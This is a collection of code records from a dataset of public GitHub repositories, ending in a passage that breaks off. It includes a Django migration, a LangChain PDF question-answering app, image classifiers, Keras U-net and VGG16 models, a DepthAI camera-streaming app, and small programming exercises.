utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('roster', '0005_auto_20150325_1457'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='player',\n name='photo',\n field=models.CharField(default=b'', unique=True, max_length=200),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='team',\n name='players',\n field=models.ManyToManyField(to='roster.Player', blank=True),\n preserve_default=True,\n ),\n ]\n","repo_name":"ClintonKing/SportsApp","sub_path":"roster/migrations/0006_auto_20150402_1708.py","file_name":"0006_auto_20150402_1708.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"979140392","text":"import streamlit as st\nfrom dotenv import load_dotenv\nimport pickle\nfrom langchain.vectorstores import Chroma\nfrom PyPDF2 import PdfReader\nfrom streamlit_extras.add_vertical_space import add_vertical_space\nfrom langchain.text_splitter import RecursiveCharacterTextSplitter\nfrom langchain.embeddings import HuggingFaceEmbeddings\nfrom langchain import HuggingFaceHub\nfrom langchain.vectorstores import FAISS\nfrom langchain.chains.question_answering import load_qa_chain\nfrom ctransformers.langchain import CTransformers\n# from langchain.llms import Ctransformers\nfrom ctransformers import AutoModelForCausalLM\nfrom langchain.llms import GPT4All\nfrom langchain.callbacks.manager import CallbackManager\nfrom langchain.callbacks.streaming_stdout import StreamingStdOutCallbackHandler\nfrom langchain.llms import LlamaCpp\n# from langchain.llms import OpenLM\nfrom langchain.chains.mapreduce import MapReduceChain\nfrom langchain.chains.summarize import load_summarize_chain\nimport os\n\n\n# Sidebar contents\nwith st.sidebar:\n st.title('🤗💬 LLM Chatty App')\n st.markdown('''\n ## About\n This app is an LLM-powered chatbot built using:\n - [Streamlit](https://streamlit.io/)\n - [LangChain](https://python.langchain.com/)\n - [OpenAI](https://platform.openai.com/docs/models) LLM model\n \n ''')\n add_vertical_space(5)\n st.write('Made with ❤️ by [Prompt Engineer](https://youtube.com/@engineerprompt)')\n\n\n\n\ndef main():\n pdf= st.file_uploader(\"Upload your pdf\", type='pdf')\n if pdf is not None:\n # folder_name= 'persist_directory'\n # persist_directory= 'D:\\pretrained models\\pdfQA\\persist_directory'\n # current_directory= os.getcwd()\n # # Check if the folder exists\n # folder_path = os.path.join(current_directory, folder_name)\n\n pdf_reader= PdfReader(pdf)\n text= \"\"\n for page in pdf_reader.pages:\n text= text+ page.extract_text()\n\n text_splitter= RecursiveCharacterTextSplitter(\n chunk_size= 1000,\n chunk_overlap= 200,\n length_function= len\n )\n chunks= text_splitter.split_text(text=text)\n\n \n store_name= pdf.name[:4]\n if os.path.exists(f\"{store_name}.pkl\"):\n with open(f\"{store_name}.pkl\", \"rb\") as f:\n vectorstore= pickle.load(f)\n st.write('Embedding loaded form the disk')\n else:\n embeddings= HuggingFaceEmbeddings()\n\n # vector_db= Chroma.from_documents(chunks, embeddings, persist_directory= persist_directory)\n # if os.path.isdir(folder_path):\n # print('folder exist....')\n # else:\n # print('Creating new persist directory')\n # vector_db.persist()\n \n vectorstore= FAISS.from_texts(chunks, embedding=embeddings)\n with open(f\"{store_name}.pkl\", \"wb\") as f:\n\n pickle.dump(vectorstore, f)\n st.write(\"New embeddings are created!!\")\n\n query= st.text_input(\"Ask question about your pdf files...\")\n if query:\n docs= vectorstore.similarity_search(query=query, k=2)\n\n # repo_id= 'OpenAssistant/oasst-sft-4-pythia-12b-epoch-3.5'\n # repo_id= 'D:/pretrained models/generic functionality/models/ggml-model-gpt-2-117M.bin'\n repo_id= 'D:/pretrained models/generic functionality/models/ggml-gpt4all-l13b-snoozy.bin'\n\n # llm = HuggingFaceHub(repo_id=repo_id, model_kwargs={\"temperature\":0.3, \"max_length\":140})\n # llm = CTransformers(model='marella/gpt-2-ggml')\n # llm = CTransformers(model='marella/gpt-2-ggml', callbacks=[StreamingStdOutCallbackHandler()])\n # llm= VertexAI()\n callbacks = [StreamingStdOutCallbackHandler()]\n llm = GPT4All(model=repo_id, callbacks=callbacks, verbose=True)\n # messages = [{\"role\": \"user\", \"content\": \"Name 3 colors\"}]\n # response= llm.chat_completion(messages)\n # callback_manager = CallbackManager([StreamingStdOutCallbackHandler()])\n # llm = LlamaCpp(model_path=repo_id, callback_manager=callback_manager, verbose=True)\n # llm= OpenLM(\"text-da-vinci-003\")\n # llm = AutoModelForCausalLM.from_pretrained(repo_id, model_type='llama')\n # llm = AutoModelForCausalLM.from_pretrained(repo_id, model_type='llama')\n # llm = CTransformers(model=repo_id, model_type='gpt2')\n # llm = CTransformers(model='marella/gpt-2-ggml')\n\n # chain= load_qa_chain(llm=llm, chain_type=\"stuff\")\n # response= chain.run(input_documents= docs, question=query)\n chain= load_summarize_chain(llm, chain_type=\"map_reduce\")\n response= chain.run(docs)\n # response= llm(\"Give me complete code to train a two layer MLP neural network. \")\n\n st.write(response)\n st.write(docs)\n\nif __name__==\"__main__\":\n main()","repo_name":"AGI-RESEARCH-SEC/langchain-document-qa","sub_path":"pdfQA/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11962055396","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 22 18:48:53 2021\n\n@author: poulomi\n\"\"\"\n'''\nThis project deals with classifying 3 categories of flower images using deep learning. The flower images is taken \nfrom the 17FlowerCategoryDataset that originally has flowers of 17 categories and 80 images for each category. After creating\nthe model, a web application for the same is created using Flask for predicting the category of a new flower image. Finally,\neverything is deployed using the Heroku platform.\n'''\n\n# importing the necessary libraries\n\nimport numpy as np\nfrom glob import glob\nfrom tensorflow.keras.layers import Input, Lambda, Dense, Flatten\nfrom tensorflow.keras.models import Model, load_model\nfrom tensorflow.keras.applications.resnet50 import ResNet50\nfrom tensorflow.keras.applications.resnet50 import preprocess_input\nfrom tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator, load_img\nfrom tensorflow.keras.models import Sequential\nimport matplotlib.pyplot as plt\n\n# resizing the images\nimage_size = [224,224]\ntraining_data = 'train'\nvalid_data = 'test'\n\n# initializing the resnet50 library and adding the preprocessing layer, here we are using the default imagenet weights\n# [224, 224] + [3] making the image RGB channel\n# in resnet the output has 1000 categories, but for us it is only 3 categories, so we are not including the first and last\n# layer, in the top layer we provide our own data set, thus include_top = False\nresnet = ResNet50(input_shape = image_size+[3], weights = 'imagenet', include_top=False)\nresnet.summary()\n\n# we do not retrain on existing weights, just retrain on last layer\nfor layer in resnet.layers:\n layer.trainable = False\n \n# fetching the number of output classes, which is 3 for our case\nmy_folders = glob('train/*')\nmy_folders\n\n# flatten our resnet output after downloading it\nX = Flatten()(resnet.output)\n\n# using the Dense layer to set the length of my folders\nprediction = Dense(len(my_folders), activation='softmax')(X)\n\n# creating our model object\nmy_model = Model(inputs=resnet.input, outputs=prediction)\nmy_model.summary()\n\n# model compile and optimization\nmy_model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n# reading all the images from the folders, rescaling them and apply data augmentation using ImageDataGenerator\ntrain_gen = ImageDataGenerator(rescale=1./255, shear_range=0.2, zoom_range=0.2, horizontal_flip=True)\n\n# only rescaling on test data\ntest_gen = ImageDataGenerator(rescale=1./255)\n\n# We must provide our image size as target size and not the default (256,256), we keep the batch size and class mode to \n# their default values\ntrain_set = train_gen.flow_from_directory('train', target_size=(224,224), batch_size=32, class_mode='categorical')\n\ntest_set = train_gen.flow_from_directory('test', target_size=(224,224), batch_size=32, class_mode='categorical')\n\n# fitting the model\nmodel_r = my_model.fit_generator(train_set, validation_data=test_set, epochs=50, steps_per_epoch=len(train_set), validation_steps=len(test_set))\nmodel_r.history\n\n\n# plotting the loss\nplt.plot(model_r.history['loss'], label='training loss')\nplt.plot(model_r.history['val_loss'], label='validation loss')\nplt.legend()\nplt.savefig('Loss.png')\nplt.show()\n\n# plotting the accuracy\nplt.plot(model_r.history['accuracy'], label='training accuracy')\nplt.plot(model_r.history['val_accuracy'], label='validation accuracy')\nplt.legend()\nplt.savefig('Accuracy.png')\nplt.show()\n\n# save the model as a h5 file \nmy_model.save('model_resnet50.h5')\n\n\n# Prediction for test data, here the indices mean 0: colt'sfoot, 1:daisy, 2:sunflower\ntest_pred = my_model.predict(test_set)\ntest_pred\n\n# choosing the maximum value in a record to determine the class\ntest_pred = np.argmax(test_pred, axis=1)\ntest_pred\n\nmy_model = load_model('model_resnet50.h5')\n\n################## Also done using a Flask app ##################################\n# testing the prediction of the model on a new image \nimg = image.load_img('test/Daisy/image_0876.jpg', target_size=(224,224))\n\n# converting to array\nx = image.img_to_array(img)\nx\nx.shape\n\n# rescaling\nx = x/225\nx\n\nx = np.expand_dims(x, axis=0)\nimg_data = preprocess_input(x)\nimg_data.shape\n\nmy_model.predict(img_data)\n\na = np.argmax(my_model.predict(img_data), axis=1)\na\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"poulomi-p/Image_Classifier","sub_path":"FlowerCategoryClassification.py","file_name":"FlowerCategoryClassification.py","file_ext":"py","file_size_in_byte":4379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3356909490","text":"import logging as log\nimport time\n\nimport depthai as dai\nimport robothub_core\n\n\nclass ExampleApplication(robothub_core.RobotHubApplication):\n def on_start(self):\n fps = robothub_core.CONFIGURATION['stream_fps']\n log.info(f'Stream FPS set to {fps}, connecting to devices...')\n\n # connect to the device(s), build pipeline and upload it to the device\n self.connect(fps)\n\n # create polling thread and start it\n run_polling_thread = robothub_core.threading.Thread(target=self.polling_thread, name=\"PollingThread\",\n daemon=False)\n run_polling_thread.start()\n\n def connect(self, fps):\n # connect to every assigned device, open a color stream\n\n self.devices = dict()\n self.streams = dict()\n self.outQueues = dict()\n\n for device in robothub_core.DEVICES:\n mxid = device.oak[\"serialNumber\"]\n name = device.oak['productName']\n\n start_time = time.time()\n give_up_time = start_time + 10\n cameras = None\n while time.time() < give_up_time and self.running:\n try:\n self.devices[mxid] = dai.Device(mxid)\n cameras = self.devices[mxid].getConnectedCameras()\n log.info(f'Connected device \"{name}\" with sensors: {cameras}')\n break\n except RuntimeError as e:\n # If device can't be connected to on first try, wait 0.1 seconds and try again. \n log.info(f\"Error while trying to connect {name}: {e}\")\n self.wait(0.1)\n continue\n # check if the device has RGB sensor\n color = False\n if cameras:\n if dai.CameraBoardSocket.CAM_A in cameras:\n color = True\n if color:\n # if it does build a pipeline and start it\n pipeline = self.build_pipeline(mxid, fps)\n self.devices[mxid].startPipeline(pipeline)\n self.streams[mxid] = robothub_core.STREAMS.create_video(mxid, f'stream_{mxid}',\n f'{name} Color Stream')\n self.outQueues[mxid] = self.devices[mxid].getOutputQueue(name=mxid, maxSize=2, blocking=True)\n log.info(f'Device \"{name}\": Started 1080p@{fps}FPS Color Stream')\n else:\n # if it does not, skip\n log.info(f'Could not start color stream for device {name} as it does not have a color sensor')\n else:\n # if cameras is None, device connection or collecting camera info failed\n log.info(f'Device \"{name}\" could not be connected within 10s timeout')\n\n def polling_thread(self):\n # Create polling thread\n while self.running:\n self.process_output()\n self.wait(0.001)\n\n def build_pipeline(self, mxid, fps):\n # Create pipeline\n pipeline = dai.Pipeline()\n\n # Define sources and outputs\n camRgb = pipeline.create(dai.node.ColorCamera)\n ve = pipeline.create(dai.node.VideoEncoder)\n veOut = pipeline.create(dai.node.XLinkOut)\n veOut.setStreamName(mxid)\n\n # Properties\n camRgb.setBoardSocket(dai.CameraBoardSocket.RGB)\n camRgb.setFps(fps)\n camRgb.setResolution(dai.ColorCameraProperties.SensorResolution.THE_1080_P)\n\n # Create encoder, consuming the frames and encoding them using H.264 / H.265 encoding\n ve.setDefaultProfilePreset(fps, dai.VideoEncoderProperties.Profile.H264_MAIN)\n\n # Linking\n camRgb.video.link(ve.input)\n ve.bitstream.link(veOut.input)\n\n return pipeline\n\n def process_output(self):\n # Output queues will be used to get the encoded data from the outputs defined above\n for id in self.outQueues:\n # Try to get the frame bytes data from the queue for the stream. If no frame is in output queue, pass\n frame = self.outQueues[id].tryGet()\n if frame:\n frame_bytes = bytes(frame.getData())\n # create timestamp for the video stream\n timestamp = int(time.time() * 1_000)\n self.streams[id].publish_video_data(frame_bytes, timestamp, None)\n\n def on_stop(self):\n log.info('Stopping App')\n\n try:\n self.run_polling_thread.join()\n except:\n log.debug('Polling thread join excepted with {e}')\n try:\n robothub_core.STREAMS.destroy_all_streams()\n except BaseException as e:\n log.debug(f'Destroy all streams excepted with: {e}')\n for device in self.devices.values():\n try:\n device.close()\n except BaseException as e:\n log.debug(f'Device close failed with error: {e}')\n","repo_name":"luxonis/robothub-examples","sub_path":"Working with low-level DepthAI/Color Streaming/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73723563753","text":"# The valid phone number program.\n\n# Make a program that checks if a string is in the right format for a phone number. \n# The program should check that the string contains only numerical characters and is only 10 characters long. \n# Print a suitable message depending on the outcome of the string evaluation.\n\nphone_number = '3806823545'\n\nif len(phone_number) == 10 and phone_number.isdigit():\n print('You have a valid phone number. Do you want to dial the number?')\n\nelse:\n print('Sorry, you have an unvalid phone number')\n ","repo_name":"bodacom/beetroot","sub_path":"homeworks/lesson_4/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32065030467","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.decomposition import LatentDirichletAllocation\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport os\nimport joblib\n\n\nDATA_DIR = 'data/'\n\n\ndef main():\n print('lendo dados')\n df = pd.read_csv(os.path.join(DATA_DIR, 'npr.csv'))\n\n print('cv')\n cv = CountVectorizer(max_df=0.9,\n min_df=2,\n stop_words='english')\n\n print('dtm')\n dtm = cv.fit_transform(df['Article'])\n\n# print(dtm.shape)\n\n# print('lda model')\n# lda_model = LatentDirichletAllocation(\n# n_components=7,\n# random_state=42\n# )\n# lda_model.fit(dtm)\n# joblib.dump(lda_model, 'lda_model.pkl')\n# print('Info sobre o CV')\n# print(f'{len(cv.get_feature_names())}')\n# print(f'{cv.get_feature_names()[:5]}')\n\n# print('Info sobre o LDA')\n# print(f'{len(lda_model.components_)}')\n# print(f'{lda_model.components_[:5]}')\n\n\n # for i, topico in enumerate(lda_model.components_):\n # print([cv.get_feature_names()[index] for index in topic.argsort[-15:]])\n # print('\\n')\n\n print('load model')\n lda_model = joblib.load('lda_model.pkl')\n\n print('transform')\n\n topic_results = lda_model.transform(dtm)\n print(f'Prob(0): {topic_results[0].round(2)}')\n\n print('df update')\n df['Topic'] = topic_results.argmax(axis=1)\n\n print(f'{df.head(20)}')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jrsmoura/topicos-avancados","sub_path":"aula-06/classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26216268561","text":"# https://leetcode.com/problems/maximum-score-after-splitting-a-string/\n# 1AC\nclass Solution:\n def maxScore(self, s: str) -> int:\n n = len(s)\n\n c1 = [0 for i in range(n)]\n cc = 0\n for i in range(n):\n cc += 1 if s[i] == '0' else 0\n c1[i] = cc\n c2 = [0 for i in range(n)]\n cc = 0\n for i in range(n - 1, -1, -1):\n cc += 1 if s[i] == '1' else 0\n c2[i] = cc\n\n res = 0\n for i in range(n - 1):\n res = max(res, c1[i] + c2[i + 1])\n return res\n","repo_name":"zhuli19901106/leetcode-zhuli","sub_path":"algorithms/1001-1500/1422_maximum-score-after-splitting-a-string_1_AC.py","file_name":"1422_maximum-score-after-splitting-a-string_1_AC.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"72"} +{"seq_id":"6563609983","text":"'''\nAuthor: Leo Collins\nCS 201, Sept. 17, 2013\nLab 2, Question 3, Seconds Calculator\n\nAlgorithm:\n1. Ask user for number of hours, minutes, and seconds.\n2. Take the number of hours and multiply by 3600.\n3. Take the number of minutes and multiply by 60.\n4. Add these two figures together, and then add on the seconds entered by user.\n5. Print total number of seconds.\n\nTest Cases:\n1. Hours: 2. Minutes: 1. Seconds: 3.\nExpected outcome: 7263 seconds\n2. Hours: 1. Minutes: 32. Seconds, 17.\nExpected outcome: 5537 seconds\n\nResult: Working as expected.\n'''\n\nhours = int(input(\"Please enter the number of hours: \"))\nminutes = int(input(\"Please enter the number of minutes: \"))\nseconds = int(input(\"Please enter the number of seconds: \"))\nhour_seconds = hours * 3600\nminutes_seconds = minutes * 60\ntotal_seconds = hour_seconds + minutes_seconds + seconds\nprint (\"The total amount of seconds in the time length you provided is\", total_seconds)\n\n","repo_name":"leocol/school","sub_path":"lab2/src/secondscalculator.py","file_name":"secondscalculator.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33040085523","text":"import os\nimport keras\nfrom keras.models import Sequential, Model\nfrom keras.engine.topology import Input, InputLayer, Layer\nfrom keras.layers.core import RepeatVector, Reshape, Flatten, Dropout\nfrom keras.layers.convolutional import Conv1D, Conv2D, UpSampling2D\nfrom keras.layers import Activation, Dense\nfrom keras.layers.pooling import AveragePooling1D, MaxPooling1D, MaxPooling2D\nfrom keras.layers.recurrent import LSTM, GRU\nfrom keras.layers.wrappers import Bidirectional\nfrom keras.regularizers import l1, l2, l1_l2\nfrom keras.layers.merge import Add, Concatenate, Multiply\nfrom keras.optimizers import SGD, RMSprop, Adam\nfrom keras.losses import binary_crossentropy\nfrom keras.layers.normalization import BatchNormalization\nfrom keras import backend as K\nimport keras.backend.tensorflow_backend\n\ndef _get_session():\n \"\"\"Modified the original get_session() function to change the ConfigProto variable\n \"\"\"\n global _SESSION\n if tf.get_default_session() is not None:\n session = tf.get_default_session()\n else:\n if _SESSION is None:\n if not os.environ.get('OMP_NUM_THREADS'):\n config = tf.ConfigProto(allow_soft_placement=True)\n else:\n nb_thread = int(os.environ.get('OMP_NUM_THREADS'))\n config = tf.ConfigProto(intra_op_parallelism_threads=nb_thread,\n allow_soft_placement=True)\n config.gpu_options.allow_growth = True\n _SESSION = tf.Session(config=config)\n session = _SESSION\n if not _MANUAL_VAR_INIT:\n _initialize_variables()\n return session\n\n# control GPU memory usage for TensorFlow backend\nif K.backend() == 'tensorflow':\n # replace the original get_session() function\n keras.backend.tensorflow_backend.get_session.func_code = _get_session.func_code\n import tensorflow as tf\n\ndef dice_coef(y_true, y_pred):\n y_true = K.flatten(y_true)\n y_pred = K.flatten(y_pred)\n return (2.0*K.sum(y_true*y_pred) + 1.0)/(K.sum(K.square(y_true)) + K.sum(K.square(y_pred)) + 1.0)\n\ndef dice_coef_loss(y_true, y_pred):\n return 1.0 - dice_coef(y_true, y_pred)\n\n\n\n# custom objects that can be passed to the keras.models.load_model function\ncustom_objects = {'dice_coef': dice_coef,\n 'dice_coef_loss': dice_coef_loss}\n\ndef vgg16(input_shape):\n model = Sequential()\n model.add(Conv2D(64, kernel_size=(3, 3), padding='same', activation='relu', input_shape=input_shape, name='conv1_1'))\n model.add(Conv2D(64, kernel_size=(3, 3), padding='same', activation='relu', name='conv1_2'))\n model.add(MaxPooling2D(2, 2, name='pool1'))\n model.add(Conv2D(128, kernel_size=(3, 3), padding='same', activation='relu', name='conv2_1'))\n model.add(Conv2D(128, kernel_size=(3, 3), padding='same', activation='relu', name='conv2_2'))\n model.add(MaxPooling2D(2, 2, name='pool2'))\n model.add(Conv2D(256, kernel_size=(3, 3), padding='same', activation='relu', name='conv3_1'))\n model.add(Conv2D(256, kernel_size=(3, 3), padding='same', activation='relu', name='conv3_2'))\n model.add(Conv2D(256, kernel_size=(3, 3), padding='same', activation='relu', name='conv3_3'))\n model.add(MaxPooling2D(2, 2, name='pool3'))\n model.add(Conv2D(512, kernel_size=(3, 3), padding='same', activation='relu', name='conv4_1'))\n model.add(Conv2D(512, kernel_size=(3, 3), padding='same', activation='relu', name='conv4_2'))\n model.add(Conv2D(512, kernel_size=(3, 3), padding='same', activation='relu', name='conv4_3'))\n model.add(MaxPooling2D(2, 2, name='pool4'))\n model.add(Conv2D(512, kernel_size=(3, 3), padding='same', activation='relu', name='conv5_1'))\n model.add(Conv2D(512, kernel_size=(3, 3), padding='same', activation='relu', name='conv5_2'))\n model.add(Conv2D(512, kernel_size=(3, 3), padding='same', activation='relu', name='conv5_3'))\n model.add(MaxPooling2D(2, 2, name='pool5'))\n model.add(Flatten())\n model.add(Dense(4096, activation='relu', name='fc6'))\n model.add(Dropout(0.5))\n model.add(Dense(4096, activation='relu', name='fc7'))\n model.add(Dropout(0.5))\n model.add(Dense(1, activation='sigmoid', name='fc8'))\n optimizer = RMSprop(lr=0.001)\n model.compile(optimizer=optimizer,\n loss='binary_crossentropy',\n metrics=['binary_accuracy'])\n return model\n\ndef unet1(input_shape):\n \"\"\"\n Build a U-net for image segmentation\n Refer to: https://github.com/yihui-he/u-net/blob/master/train.py.\n :param input_shape: (nrow, ncol)\n :return: a keras model\n \"\"\"\n input = Input(shape=input_shape)\n down1_conv1 = Conv2D(32, kernel_size=(3, 3), padding='same', activation='relu', name='down1_conv1')(input)\n down1_conv2 = Conv2D(32, kernel_size=(3, 3), padding='same', activation='relu', name='down1_conv2')(down1_conv1)\n down1_pool1 = MaxPooling2D(pool_size=(2, 2), name='down1_pool1')(down1_conv2)\n\n down2_conv1 = Conv2D(64, kernel_size=(3, 3), padding='same', activation='relu', name='down2_conv1')(down1_pool1)\n down2_conv2 = Conv2D(64, kernel_size=(3, 3), padding='same', activation='relu', name='down2_conv2')(down2_conv1)\n down2_pool1 = MaxPooling2D(pool_size=(2, 2), name='down2_pool1')(down2_conv2)\n\n down3_conv1 = Conv2D(128, kernel_size=(3, 3), padding='same', activation='relu', name='down3_conv1')(down2_pool1)\n down3_conv2 = Conv2D(128, kernel_size=(3, 3), padding='same', activation='relu', name='down3_conv2')(down3_conv1)\n down3_pool1 = MaxPooling2D(pool_size=(2, 2), name='down3_pool1')(down3_conv2)\n\n down4_conv1 = Conv2D(256, kernel_size=(3, 3), padding='same', activation='relu', name='down4_conv1')(down3_pool1)\n down4_conv2 = Conv2D(256, kernel_size=(3, 3), padding='same', activation='relu', name='down4_conv2')(down4_conv1)\n down4_pool1 = MaxPooling2D(pool_size=(2, 2), name='down4_pool1')(down4_conv2)\n\n down5_conv1 = Conv2D(512, kernel_size=(3, 3), padding='same', activation='relu', name='down5_conv1')(down4_pool1)\n down5_conv2 = Conv2D(512, kernel_size=(3, 3), padding='same', activation='relu', name='down5_conv2')(down5_conv1)\n\n up4_upsample = UpSampling2D(size=(2, 2), name='up4_upsample')(down5_conv2)\n up4_upconv = Conv2D(256, kernel_size=(2, 2), padding='same', activation='relu', name='up4_upconv')(up4_upsample)\n up4_merge = Concatenate(axis=-1, name='up4_merge')([up4_upconv, down4_conv2])\n up4_conv1 = Conv2D(256, kernel_size=(3, 3), padding='same', activation='relu', name='up4_conv1')(up4_merge)\n up4_conv2 = Conv2D(256, kernel_size=(3, 3), padding='same', activation='relu', name='up4_conv2')(up4_conv1)\n\n up3_upsample = UpSampling2D(size=(2, 2), name='up3_upsample')(up4_conv2)\n up3_upconv = Conv2D(128, kernel_size=(2, 2), padding='same', activation='relu', name='up3_upconv')(up3_upsample)\n up3_merge = Concatenate(axis=-1, name='up3_merge')([up3_upconv, down3_conv2])\n up3_conv1 = Conv2D(128, kernel_size=(3, 3), padding='same', activation='relu', name='up3_conv1')(up3_merge)\n up3_conv2 = Conv2D(128, kernel_size=(3, 3), padding='same', activation='relu', name='up3_conv2')(up3_conv1)\n\n up2_upsample = UpSampling2D(size=(2, 2), name='up2_upsample')(up3_conv2)\n up2_upconv = Conv2D(64, kernel_size=(2, 2), padding='same', activation='relu', name='up2_upconv')(up2_upsample)\n up2_merge = Concatenate(axis=-1, name='up2_merge')([up2_upconv, down2_conv2])\n up2_conv1 = Conv2D(64, kernel_size=(3, 3), padding='same', activation='relu', name='up2_conv1')(up2_merge)\n up2_conv2 = Conv2D(64, kernel_size=(3, 3), padding='same', activation='relu', name='up2_conv2')(up2_conv1)\n\n up1_upsample = UpSampling2D(size=(2, 2), name='up1_upsample')(up2_conv2)\n up1_upconv = Conv2D(32, kernel_size=(2, 2), padding='same', activation='relu', name='up1_upconv')(up1_upsample)\n up1_merge = Concatenate(axis=-1, name='up1_merge')([up1_upconv, down1_conv2])\n up1_conv1 = Conv2D(32, kernel_size=(3, 3), padding='same', activation='relu', name='up1_conv1')(up1_merge)\n up1_conv2 = Conv2D(32, kernel_size=(3, 3), padding='same', activation='relu', name='up1_conv2')(up1_conv1)\n\n predict = Conv2D(1, kernel_size=(1, 1), activation='sigmoid')(up1_conv2)\n\n model = Model(inputs=[input], outputs=[predict])\n\n\n\n #optimizer = SGD(lr=0.01, momentum=0.9)\n optimizer = Adam(lr=0.001)\n loss = dice_coef_loss\n metrics = [dice_coef]\n loss = 'binary_crossentropy'\n metrics = ['binary_accuracy']\n model.compile(optimizer=optimizer,\n loss=loss,\n metrics=metrics)\n return model\n\ndef unet_from_vgg16(model, fine_tune=True):\n if fine_tune:\n for layer in model.layers:\n layer.trainable = False\n up_block5_upsample = UpSampling2D(size=(2, 2), name='up_block5_upsample')(model.get_layer('block5_conv3').output)\n up_block5_upconv = Conv2D(512, kernel_size=(2, 2), padding='same', activation='relu', name='up_block5_upconv')(up_block5_upsample)\n up_block5_merge = Concatenate(axis=-1, name='up_block5_merge')([up_block5_upconv, model.get_layer('block4_conv3').output])\n up_block5_conv1 = Conv2D(512, kernel_size=(3, 3), padding='same', activation='relu', name='up_block5_conv1')(up_block5_merge)\n up_block5_conv2 = Conv2D(512, kernel_size=(3, 3), padding='same', activation='relu', name='up_block5_conv2')(up_block5_conv1)\n up_block5_conv3 = Conv2D(512, kernel_size=(3, 3), padding='same', activation='relu', name='up_block5_conv3')(up_block5_conv2)\n\n up_block4_upsample = UpSampling2D(size=(2, 2), name='up_block4_upsample')(up_block5_conv3)\n up_block4_upconv = Conv2D(256, kernel_size=(2, 2), padding='same', activation='relu', name='up_block4_upconv')(up_block4_upsample)\n up_block4_merge = Concatenate(axis=-1, name='up_block4_merge')([up_block4_upconv, model.get_layer('block3_conv3').output])\n up_block4_conv1 = Conv2D(256, kernel_size=(3, 3), padding='same', activation='relu', name='up_block4_conv1')(up_block4_merge)\n up_block4_conv2 = Conv2D(256, kernel_size=(3, 3), padding='same', activation='relu', name='up_block4_conv2')(up_block4_conv1)\n up_block4_conv3 = Conv2D(256, kernel_size=(3, 3), padding='same', activation='relu', name='up_block4_conv3')(up_block4_conv2)\n\n up_block3_upsample = UpSampling2D(size=(2, 2), name='up_block3_upsample')(up_block4_conv3)\n up_block3_upconv = Conv2D(128, kernel_size=(2, 2), padding='same', activation='relu', name='up_block3_upconv')(up_block3_upsample)\n up_block3_merge = Concatenate(axis=-1, name='up_block3_merge')([up_block3_upconv, model.get_layer('block2_conv2').output])\n up_block3_conv1 = Conv2D(128, kernel_size=(3, 3), padding='same', activation='relu', name='up_block3_conv1')(up_block3_merge)\n up_block3_conv2 = Conv2D(128, kernel_size=(3, 3), padding='same', activation='relu', name='up_block3_conv2')(up_block3_conv1)\n\n up_block2_upsample = UpSampling2D(size=(2, 2), name='up_block2_upsample')(up_block3_conv2)\n up_block2_upconv = Conv2D(64, kernel_size=(2, 2), padding='same', activation='relu', name='up_block2_upconv')(up_block2_upsample)\n up_block2_merge = Concatenate(axis=-1, name='up_block2_merge')([up_block2_upconv, model.get_layer('block1_conv2').output])\n up_block2_conv1 = Conv2D(64, kernel_size=(3, 3), padding='same', activation='relu', name='up_block2_conv1')(up_block2_merge)\n up_block2_conv2 = Conv2D(64, kernel_size=(3, 3), padding='same', activation='relu', name='up_block2_conv2')(up_block2_conv1)\n\n predict = Conv2D(1, kernel_size=(1, 1), activation='sigmoid', name='predict')(up_block2_conv2)\n\n unet_model = Model(inputs=[model.input], outputs=[predict], name='unet_vgg16')\n\n optimizer = Adam(lr=0.001)\n loss = 'binary_crossentropy'\n metrics = ['binary_accuracy']\n unet_model.compile(optimizer=optimizer,\n loss=loss,\n metrics=metrics)\n return unet_model\n\ndef get_pretrained_vgg16(filename, input_shape):\n model = vgg16(input_shape)\n import numpy as np\n weights = np.load(filename)[()]\n weight_tuples = []\n model_weights = {v.name:v for v in model.trainable_weights}\n for layer_name in weights.keys():\n if layer_name in ['fc6', 'fc7', 'fc8']:\n continue\n if layer_name not in ['fc6', 'fc7', 'fc8']:\n model.get_layer(layer_name).trainable = False\n weight_tuples.append((model_weights[layer_name + '/kernel:0'], weights[layer_name]['weights']))\n weight_tuples.append((model_weights[layer_name + '/bias:0'], weights[layer_name]['biases']))\n K.batch_set_value(weight_tuples)\n return model\n\ndef get_model(name, input_shape):\n if name == 'vgg16':\n return vgg16(input_shape)\n\ndef add_fc_layers(model, n_classes=2):\n \"\"\"\n Add fully-connected layers to a pretrained model for classification\n \"\"\"\n flatten = Flatten(name='flatten')(model.output)\n fc1 = Dense(1024, activation='relu', name='fc1')(flatten)\n #fc1 = Dropout(0.5)(fc1)\n fc2 = Dense(1024, activation='relu', name='fc2')(fc1)\n #fc2 = Dropout(0.5)(fc2)\n if n_classes > 2:\n fc3 = Dense(n_classes, activation='softmax', 